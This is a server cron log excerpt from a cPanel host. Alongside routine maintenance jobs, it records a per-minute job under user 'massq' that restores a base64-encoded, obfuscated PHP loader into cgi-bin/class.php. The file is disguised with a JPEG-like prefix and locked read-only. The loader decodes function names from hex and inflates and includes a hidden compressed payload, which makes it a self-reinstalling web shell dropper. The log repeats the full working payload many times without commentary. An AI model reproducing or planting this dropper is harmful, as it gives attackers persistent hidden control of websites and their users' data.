Sep  5 09:24:01 server CROND[3922]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:24:01 server CROND[3924]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:24:01 server CROND[3925]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:25:01 server CROND[4296]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 09:25:01 server CROND[4298]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 09:25:01 server CROND[4301]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:25:01 server CROND[4302]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:25:01 server CROND[4303]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 09:25:01 server CROND[4305]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 09:25:01 server CROND[4304]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:26:01 server CROND[5151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:26:01 server CROND[5152]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:26:01 server CROND[5153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:27:01 server CROND[5622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:27:01 server CROND[5624]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:27:01 server CROND[5623]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 09:27:01 server CROND[5625]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:28:01 server CROND[6058]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:28:01 server CROND[6059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:28:01 server CROND[6060]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:29:01 server CROND[6426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:29:01 server CROND[6428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:29:01 server CROND[6427]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:30:01 server CROND[6818]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 09:30:01 server CROND[6821]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 09:30:01 server CROND[6822]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 09:30:01 server CROND[6827]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:30:01 server CROND[6829]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 09:30:01 server CROND[6825]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 09:30:01 server CROND[6831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:30:01 server CROND[6828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:31:01 server CROND[7716]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:31:01 server CROND[7717]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:31:01 server CROND[7718]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:32:01 server CROND[8198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:32:01 server CROND[8199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:32:01 server CROND[8200]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:33:02 server CROND[8649]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:33:02 server CROND[8650]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:33:02 server CROND[8651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:34:01 server CROND[9529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:34:01 server CROND[9531]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:34:01 server CROND[9530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 09:35:01 server CROND[10478]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 09:35:01 server CROND[10487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 09:35:01 server CROND[10485]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 09:35:01 server CROND[10489]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 09:35:01 server CROND[10484]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  5 09:35:01 server CROND[10486]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 09:35:01 server CROND[10492]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 09:35:01 server CROND[10490]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
